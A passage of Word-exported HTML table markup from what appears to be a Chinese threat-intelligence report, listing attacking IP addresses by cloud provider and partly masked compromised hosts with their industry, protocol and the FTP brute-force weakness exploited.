mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:\n solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:\n 153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;\n mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:accent3;\n mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt\">\n <p class=\"MsoNormal\" align=\"right\" style=\"text-align:right;mso-yfti-cnfc:64\"><span lang=\"EN-US\">36</span></p>\n </td>\n </tr>\n <tr style=\"mso-yfti-irow:7;height:10.8pt\">\n <td width=\"141\" nowrap=\"\" style=\"width:106.1pt;border:solid #C9C9C9 1.0pt;\n mso-border-themecolor:accent3;mso-border-themetint:153;border-top:none;\n mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;\n mso-border-top-themetint:153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:\n accent3;mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt\">\n <div>\n <p class=\"MsoNormal\" align=\"center\" style=\"text-align:center;mso-yfti-cnfc:4\"><b><span lang=\"EN-US\">101.35.81.195</span></b><b><span lang=\"EN-US\" style=\"mso-bidi-font-size:\n 12.0pt;font-family:宋体;mso-bidi-font-family:宋体\"><o:p></o:p></span></b></p>\n </div>\n </td>\n <td width=\"151\" nowrap=\"\" style=\"width:4.0cm;border-top:none;border-left:none;\n border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;\n mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:\n accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;\n mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:\n solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:\n 153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;\n mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt\">\n <div>\n <p class=\"MsoNormal\" align=\"center\" style=\"text-align:center\"><span class=\"GramE\"><span style=\"font-family:宋体;mso-ascii-font-family:"Times New Roman";mso-hansi-font-family:\n "Times New Roman"\">腾讯云</span></span></p>\n </div>\n </td>\n <td width=\"89\" nowrap=\"\" style=\"width:66.75pt;border-top:none;border-left:none;\n border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;\n mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:\n accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;\n mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:\n solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:\n 153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;\n mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt\">\n <p class=\"MsoNormal\" align=\"right\" style=\"text-align:right\"><span lang=\"EN-US\">3,745</span></p>\n </td>\n <td width=\"80\" nowrap=\"\" style=\"width:60.1pt;border-top:none;border-left:none;\n border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;\n mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:\n accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;\n mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:\n solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:\n 153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;\n mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt\">\n <p class=\"MsoNormal\" align=\"right\" style=\"text-align:right\"><span lang=\"EN-US\">34</span></p>\n </td>\n </tr>\n <tr style=\"mso-yfti-irow:8;height:10.8pt\">\n <td width=\"141\" nowrap=\"\" style=\"width:106.1pt;border:solid #C9C9C9 1.0pt;\n mso-border-themecolor:accent3;mso-border-themetint:153;border-top:none;\n mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;\n mso-border-top-themetint:153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:\n accent3;mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:\n accent3;mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt\">\n <div>\n <p class=\"MsoNormal\" align=\"center\" style=\"text-align:center;mso-yfti-cnfc:68\"><b><span lang=\"EN-US\">139.177.178.84</span></b><b><span lang=\"EN-US\" style=\"mso-bidi-font-size:\n 12.0pt;font-family:宋体;mso-bidi-font-family:宋体\"><o:p></o:p></span></b></p>\n </div>\n </td>\n <td width=\"151\" nowrap=\"\" style=\"width:4.0cm;border-top:none;border-left:none;\n border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;\n mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:\n accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;\n mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:\n solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:\n 153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;\n mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:accent3;\n mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt\">\n <p class=\"MsoNormal\" align=\"center\" style=\"text-align:center;mso-yfti-cnfc:64\"><span class=\"SpellE\"><span lang=\"EN-US\">Linode</span></span></p>\n </td>\n <td width=\"89\" nowrap=\"\" style=\"width:66.75pt;border-top:none;border-left:none;\n border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;\n mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:\n accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;\n mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:\n solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:\n 153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;\n mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:accent3;\n mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt\">\n <p class=\"MsoNormal\" align=\"right\" style=\"text-align:right;mso-yfti-cnfc:64\"><span lang=\"EN-US\">48</span></p>\n </td>\n <td width=\"80\" nowrap=\"\" style=\"width:60.1pt;border-top:none;border-left:none;\n border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;\n mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:\n accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;\n mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:\n solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:\n 153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;\n mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:accent3;\n mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt\">\n <p class=\"MsoNormal\" align=\"right\" style=\"text-align:right;mso-yfti-cnfc:64\"><span lang=\"EN-US\">33</span></p>\n </td>\n </tr>\n <tr style=\"mso-yfti-irow:9;mso-yfti-lastrow:yes;height:10.8pt\">\n <td width=\"141\" nowrap=\"\" style=\"width:106.1pt;border:solid #C9C9C9 1.0pt;\n mso-border-themecolor:accent3;mso-border-themetint:153;border-top:none;\n mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;\n mso-border-top-themetint:153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:\n accent3;mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt\">\n <div>\n <p class=\"MsoNormal\" align=\"center\" style=\"text-align:center;mso-yfti-cnfc:4\"><b><span lang=\"EN-US\">101.43.60.140</span></b><b><span lang=\"EN-US\" style=\"mso-bidi-font-size:\n 12.0pt;font-family:宋体;mso-bidi-font-family:宋体\"><o:p></o:p></span></b></p>\n </div>\n </td>\n <td width=\"151\" nowrap=\"\" style=\"width:4.0cm;border-top:none;border-left:none;\n border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;\n mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:\n accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;\n mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:\n solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:\n 153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;\n mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt\">\n <div>\n <p class=\"MsoNormal\" align=\"center\" style=\"text-align:center\"><span class=\"GramE\"><span style=\"font-family:宋体;mso-ascii-font-family:"Times New Roman";mso-hansi-font-family:\n "Times New Roman"\">腾讯云</span></span></p>\n </div>\n </td>\n <td width=\"89\" nowrap=\"\" style=\"width:66.75pt;border-top:none;border-left:none;\n border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;\n mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:\n accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;\n mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:\n solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:\n 153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;\n mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt\">\n <p class=\"MsoNormal\" align=\"right\" style=\"text-align:right\"><span lang=\"EN-US\">497</span></p>\n </td>\n <td width=\"80\" nowrap=\"\" style=\"width:60.1pt;border-top:none;border-left:none;\n border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;\n mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:\n accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;\n mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:\n solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:\n 153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;\n mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt\">\n <p class=\"MsoNormal\" align=\"right\" style=\"text-align:right\"><span lang=\"EN-US\">32</span></p>\n </td>\n </tr>\n</tbody></table>\n\n</div>"}],["html",{"html":"<div align=\"center\">\n\n<table class=\"MsoTable15Grid4Accent3\" border=\"1\" cellspacing=\"0\" cellpadding=\"0\" style=\"border-collapse:collapse;border:none;mso-border-alt:solid #C9C9C9 .5pt;\n mso-border-themecolor:accent3;mso-border-themetint:153;mso-yfti-tbllook:1184;\n mso-padding-alt:0cm 5.4pt 0cm 5.4pt\">\n <tbody><tr style=\"mso-yfti-irow:-1;mso-yfti-firstrow:yes;mso-yfti-lastfirstrow:yes;\n height:10.8pt\">\n <td nowrap=\"\" style=\"border:solid #A5A5A5 1.0pt;mso-border-themecolor:accent3;\n border-right:none;mso-border-top-alt:solid #A5A5A5 .5pt;mso-border-top-themecolor:\n accent3;mso-border-left-alt:solid #A5A5A5 .5pt;mso-border-left-themecolor:\n accent3;mso-border-bottom-alt:solid #A5A5A5 .5pt;mso-border-bottom-themecolor:\n accent3;background:#A5A5A5;mso-background-themecolor:accent3;padding:0cm 5.4pt 0cm 5.4pt;\n height:10.8pt\">\n <p class=\"MsoNormal\" align=\"center\" style=\"text-align:center;mso-pagination:widow-orphan;\n mso-yfti-cnfc:5\"><b><span lang=\"EN-US\" style=\"color:white;mso-themecolor:background1;\n mso-font-kerning:0pt\">IP</span></b><b><span style=\"font-family:宋体;mso-ascii-font-family:\n "Times New Roman";mso-hansi-font-family:"Times New Roman";color:white;\n mso-themecolor:background1;mso-font-kerning:0pt\">地址</span><span lang=\"EN-US\" style=\"color:white;mso-themecolor:background1;mso-font-kerning:0pt\"><o:p></o:p></span></b></p>\n </td>\n <td style=\"border-top:solid #A5A5A5 1.0pt;mso-border-top-themecolor:accent3;\n border-left:none;border-bottom:solid #A5A5A5 1.0pt;mso-border-bottom-themecolor:\n accent3;border-right:none;mso-border-top-alt:solid #A5A5A5 .5pt;mso-border-top-themecolor:\n accent3;mso-border-bottom-alt:solid #A5A5A5 .5pt;mso-border-bottom-themecolor:\n accent3;background:#A5A5A5;mso-background-themecolor:accent3;padding:0cm 5.4pt 0cm 5.4pt;\n height:10.8pt\">\n <p class=\"MsoNormal\" align=\"center\" style=\"text-align:center;mso-pagination:widow-orphan;\n mso-yfti-cnfc:1\"><b><span lang=\"EN-US\" style=\"color:white;mso-themecolor:background1;\n mso-font-kerning:0pt\">IP</span></b><b><span style=\"font-family:宋体;mso-ascii-font-family:\n "Times New Roman";mso-hansi-font-family:"Times New Roman";color:white;\n mso-themecolor:background1;mso-font-kerning:0pt\">所在省份</span><span lang=\"EN-US\" style=\"color:white;mso-themecolor:background1;mso-font-kerning:0pt\"><o:p></o:p></span></b></p>\n </td>\n <td nowrap=\"\" style=\"border-top:solid #A5A5A5 1.0pt;mso-border-top-themecolor:\n accent3;border-left:none;border-bottom:solid #A5A5A5 1.0pt;mso-border-bottom-themecolor:\n accent3;border-right:none;mso-border-top-alt:solid #A5A5A5 .5pt;mso-border-top-themecolor:\n accent3;mso-border-bottom-alt:solid #A5A5A5 .5pt;mso-border-bottom-themecolor:\n accent3;background:#A5A5A5;mso-background-themecolor:accent3;padding:0cm 5.4pt 0cm 5.4pt;\n height:10.8pt\">\n <p class=\"MsoNormal\" align=\"center\" style=\"text-align:center;mso-pagination:widow-orphan;\n mso-yfti-cnfc:1\"><b><span style=\"font-family:宋体;mso-ascii-font-family:"Times New Roman";\n mso-hansi-font-family:"Times New Roman";color:white;mso-themecolor:background1;\n mso-font-kerning:0pt\">云服务商</span><span lang=\"EN-US\" style=\"color:white;\n mso-themecolor:background1;mso-font-kerning:0pt\"><o:p></o:p></span></b></p>\n </td>\n <td style=\"border-top:solid #A5A5A5 1.0pt;mso-border-top-themecolor:accent3;\n border-left:none;border-bottom:solid #A5A5A5 1.0pt;mso-border-bottom-themecolor:\n accent3;border-right:none;mso-border-top-alt:solid #A5A5A5 .5pt;mso-border-top-themecolor:\n accent3;mso-border-bottom-alt:solid #A5A5A5 .5pt;mso-border-bottom-themecolor:\n accent3;background:#A5A5A5;mso-background-themecolor:accent3;padding:0cm 5.4pt 0cm 5.4pt;\n height:10.8pt\">\n <p class=\"MsoNormal\" align=\"center\" style=\"text-align:center;mso-pagination:widow-orphan;\n mso-yfti-cnfc:1\"><b><span style=\"font-family:宋体;mso-ascii-font-family:"Times New Roman";\n mso-hansi-font-family:"Times New Roman";color:white;mso-themecolor:background1;\n mso-font-kerning:0pt\">行业</span><span lang=\"EN-US\" style=\"color:white;\n mso-themecolor:background1;mso-font-kerning:0pt\"><o:p></o:p></span></b></p>\n </td>\n <td nowrap=\"\" style=\"border-top:solid #A5A5A5 1.0pt;mso-border-top-themecolor:\n accent3;border-left:none;border-bottom:solid #A5A5A5 1.0pt;mso-border-bottom-themecolor:\n accent3;border-right:none;mso-border-top-alt:solid #A5A5A5 .5pt;mso-border-top-themecolor:\n accent3;mso-border-bottom-alt:solid #A5A5A5 .5pt;mso-border-bottom-themecolor:\n accent3;background:#A5A5A5;mso-background-themecolor:accent3;padding:0cm 5.4pt 0cm 5.4pt;\n height:10.8pt\">\n <p class=\"MsoNormal\" align=\"center\" style=\"text-align:center;mso-pagination:widow-orphan;\n mso-yfti-cnfc:1\"><b><span style=\"font-family:宋体;mso-ascii-font-family:"Times New Roman";\n mso-hansi-font-family:"Times New Roman";color:white;mso-themecolor:background1;\n mso-font-kerning:0pt\">网站</span><span lang=\"EN-US\" style=\"color:white;\n mso-themecolor:background1;mso-font-kerning:0pt\"><o:p></o:p></span></b></p>\n </td>\n <td style=\"border-top:solid #A5A5A5 1.0pt;mso-border-top-themecolor:accent3;\n border-left:none;border-bottom:solid #A5A5A5 1.0pt;mso-border-bottom-themecolor:\n accent3;border-right:none;mso-border-top-alt:solid #A5A5A5 .5pt;mso-border-top-themecolor:\n accent3;mso-border-bottom-alt:solid #A5A5A5 .5pt;mso-border-bottom-themecolor:\n accent3;background:#A5A5A5;mso-background-themecolor:accent3;padding:0cm 5.4pt 0cm 5.4pt;\n height:10.8pt\">\n <p class=\"MsoNormal\" align=\"center\" style=\"text-align:center;mso-pagination:widow-orphan;\n mso-yfti-cnfc:1\"><b><span style=\"font-family:宋体;mso-ascii-font-family:"Times New Roman";\n mso-hansi-font-family:"Times New Roman";color:white;mso-themecolor:background1;\n mso-font-kerning:0pt\">协议</span><span lang=\"EN-US\" style=\"color:white;\n mso-themecolor:background1;mso-font-kerning:0pt\"><o:p></o:p></span></b></p>\n </td>\n <td style=\"border-top:solid #A5A5A5 1.0pt;mso-border-top-themecolor:accent3;\n border-left:none;border-bottom:solid #A5A5A5 1.0pt;mso-border-bottom-themecolor:\n accent3;border-right:none;mso-border-top-alt:solid #A5A5A5 .5pt;mso-border-top-themecolor:\n accent3;mso-border-bottom-alt:solid #A5A5A5 .5pt;mso-border-bottom-themecolor:\n accent3;background:#A5A5A5;mso-background-themecolor:accent3;padding:0cm 5.4pt 0cm 5.4pt;\n height:10.8pt\">\n <p class=\"MsoNormal\" align=\"center\" style=\"text-align:center;mso-pagination:widow-orphan;\n mso-yfti-cnfc:1\"><b><span style=\"font-family:宋体;mso-ascii-font-family:"Times New Roman";\n mso-hansi-font-family:"Times New Roman";color:white;mso-themecolor:background1;\n mso-font-kerning:0pt\">利用漏洞</span><span lang=\"EN-US\" style=\"color:white;\n mso-themecolor:background1;mso-font-kerning:0pt\"><o:p></o:p></span></b></p>\n </td>\n <td style=\"border:solid #A5A5A5 1.0pt;mso-border-themecolor:accent3;\n border-left:none;mso-border-top-alt:solid #A5A5A5 .5pt;mso-border-top-themecolor:\n accent3;mso-border-bottom-alt:solid #A5A5A5 .5pt;mso-border-bottom-themecolor:\n accent3;mso-border-right-alt:solid #A5A5A5 .5pt;mso-border-right-themecolor:\n accent3;background:#A5A5A5;mso-background-themecolor:accent3;padding:0cm 5.4pt 0cm 5.4pt;\n height:10.8pt\">\n <p class=\"MsoNormal\" align=\"center\" style=\"text-align:center;mso-pagination:widow-orphan;\n mso-yfti-cnfc:1\"><b><span style=\"font-family:宋体;mso-ascii-font-family:"Times New Roman";\n mso-hansi-font-family:"Times New Roman";color:white;mso-themecolor:background1;\n mso-font-kerning:0pt\">传播恶意样本</span><span lang=\"EN-US\" style=\"color:white;\n mso-themecolor:background1;mso-font-kerning:0pt\"><o:p></o:p></span></b></p>\n </td>\n </tr>\n <tr style=\"mso-yfti-irow:0;height:10.8pt\">\n <td nowrap=\"\" style=\"border:solid #C9C9C9 1.0pt;mso-border-themecolor:accent3;\n mso-border-themetint:153;border-top:none;mso-border-top-alt:solid #C9C9C9 .5pt;\n mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-alt:\n solid #C9C9C9 .5pt;mso-border-themecolor:accent3;mso-border-themetint:153;\n background:#EDEDED;mso-background-themecolor:accent3;mso-background-themetint:\n 51;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt\">\n <p class=\"MsoNormal\" align=\"center\" style=\"text-align:center;mso-pagination:widow-orphan;\n mso-yfti-cnfc:68\"><b><span lang=\"EN-US\" style=\"font-size:11.0pt;color:black\">123.57.*.*<o:p></o:p></span></b></p>\n </td>\n <td style=\"border-top:none;border-left:none;border-bottom:solid #C9C9C9 1.0pt;\n mso-border-bottom-themecolor:accent3;mso-border-bottom-themetint:153;\n border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:accent3;\n mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;\n mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:\n solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:\n 153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;\n mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:accent3;\n mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt\">\n <p class=\"MsoNormal\" align=\"center\" style=\"text-align:center;mso-yfti-cnfc:64\"><span style=\"font-size:11.0pt;font-family:宋体;mso-ascii-font-family:"Times New Roman";\n mso-hansi-font-family:"Times New Roman";color:black\">北京市</span><span lang=\"EN-US\" style=\"font-size:11.0pt;color:black\"><o:p></o:p></span></p>\n </td>\n <td nowrap=\"\" style=\"border-top:none;border-left:none;border-bottom:solid #C9C9C9 1.0pt;\n mso-border-bottom-themecolor:accent3;mso-border-bottom-themetint:153;\n border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:accent3;\n mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;\n mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:\n solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:\n 153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;\n mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:accent3;\n mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt\">\n <p class=\"MsoNormal\" align=\"center\" style=\"text-align:center;mso-yfti-cnfc:64\"><span style=\"font-size:11.0pt;font-family:宋体;mso-ascii-font-family:"Times New Roman";\n mso-hansi-font-family:"Times New Roman";color:black\">阿里云</span><span lang=\"EN-US\" style=\"font-size:11.0pt;color:black\"><o:p></o:p></span></p>\n </td>\n <td style=\"border-top:none;border-left:none;border-bottom:solid #C9C9C9 1.0pt;\n mso-border-bottom-themecolor:accent3;mso-border-bottom-themetint:153;\n border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:accent3;\n mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;\n mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:\n solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:\n 153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;\n mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:accent3;\n mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt\">\n <p class=\"MsoNormal\" align=\"center\" style=\"text-align:center;mso-yfti-cnfc:64\"><span style=\"font-size:11.0pt;font-family:宋体;mso-ascii-font-family:"Times New Roman";\n mso-hansi-font-family:"Times New Roman";color:black\">政府机关</span><span lang=\"EN-US\" style=\"font-size:11.0pt;color:black\"><o:p></o:p></span></p>\n </td>\n <td nowrap=\"\" style=\"border-top:none;border-left:none;border-bottom:solid #C9C9C9 1.0pt;\n mso-border-bottom-themecolor:accent3;mso-border-bottom-themetint:153;\n border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:accent3;\n mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;\n mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:\n solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:\n 153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;\n mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:accent3;\n mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt\">\n <p class=\"MsoNormal\" align=\"center\" style=\"text-align:center;mso-yfti-cnfc:64\"><span lang=\"EN-US\" style=\"font-size:11.0pt;color:black\">**</span><span style=\"font-size:11.0pt;font-family:宋体;mso-ascii-font-family:"Times New Roman";\n mso-hansi-font-family:"Times New Roman";color:black\">食堂订餐系统</span><span lang=\"EN-US\" style=\"font-size:11.0pt;color:black\"><o:p></o:p></span></p>\n </td>\n <td style=\"border-top:none;border-left:none;border-bottom:solid #C9C9C9 1.0pt;\n mso-border-bottom-themecolor:accent3;mso-border-bottom-themetint:153;\n border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:accent3;\n mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;\n mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:\n solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:\n 153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;\n mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:accent3;\n mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt\">\n <p class=\"MsoNormal\" align=\"center\" style=\"text-align:center;mso-yfti-cnfc:64\"><span lang=\"EN-US\" style=\"font-size:11.0pt;color:black\">FTP<o:p></o:p></span></p>\n </td>\n <td style=\"border-top:none;border-left:none;border-bottom:solid #C9C9C9 1.0pt;\n mso-border-bottom-themecolor:accent3;mso-border-bottom-themetint:153;\n border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:accent3;\n mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;\n mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:\n solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:\n 153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;\n mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:accent3;\n mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt\">\n <p class=\"MsoNormal\" align=\"center\" style=\"text-align:center;mso-yfti-cnfc:64\"><span lang=\"EN-US\" style=\"font-size:11.0pt;color:black\">FTP</span><span style=\"font-size:11.0pt;font-family:宋体;mso-ascii-font-family:"Times New Roman";\n mso-hansi-font-family:"Times New Roman";color:black\">暴力破解</span><span lang=\"EN-US\" style=\"font-size:11.0pt;color:black\"><o:p></o:p></span></p>\n </td>\n <td style=\"border-top:none;border-left:none;border-bottom:solid #C9C9C9 1.0pt;\n mso-border-bottom-themecolor:accent3;mso-border-bottom-themetint:153;\n border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:accent3;\n mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;\n mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:\n solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:\n 153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;\n mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:accent3;\n mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt\">\n <p class=\"MsoNormal\" align=\"center\" style=\"text-align:center;mso-yfti-cnfc:64\"><span lang=\"EN-US\" style=\"font-size:11.0pt;color:black\">/<o:p></o:p></span></p>\n </td>\n </tr>\n <tr style=\"mso-yfti-irow:1;height:10.8pt\">\n <td nowrap=\"\" style=\"border:solid #C9C9C9 1.0pt;mso-border-themecolor:accent3;\n mso-border-themetint:153;border-top:none;mso-border-top-alt:solid #C9C9C9 .5pt;\n mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-alt:\n solid #C9C9C9 .5pt;mso-border-themecolor:accent3;mso-border-themetint:153;\n padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt\">\n <p class=\"MsoNormal\" align=\"center\" style=\"text-align:center;mso-yfti-cnfc:4\"><b><span lang=\"EN-US\" style=\"font-size:11.0pt;color:black\">8.142. *.*<o:p></o:p></span></b></p>\n </td>\n <td style=\"border-top:none;border-left:none;border-bottom:solid #C9C9C9 1.0pt;\n mso-border-bottom-themecolor:accent3;mso-border-bottom-themetint:153;\n border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:accent3;\n mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;\n mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:\n solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:\n 153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;\n mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt\">\n <p class=\"MsoNormal\" align=\"center\" style=\"text-align:center\"><span style=\"font-size:11.0pt;font-family:宋体;mso-ascii-font-family:"Times New Roman";\n mso-hansi-font-family:"Times New Roman";color:black\">北京市</span><span lang=\"EN-US\" style=\"font-size:11.0pt;color:black\"><o:p></o:p></span></p>\n </td>\n <td nowrap=\"\" style=\"border-top:none;border-left:none;border-bottom:solid #C9C9C9 1.0pt;\n mso-border-bottom-themecolor:accent3;mso-border-bottom-themetint:153;\n border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:accent3;\n mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;\n mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:\n solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:\n 153;mso-border-alt:solid #C9C9C9 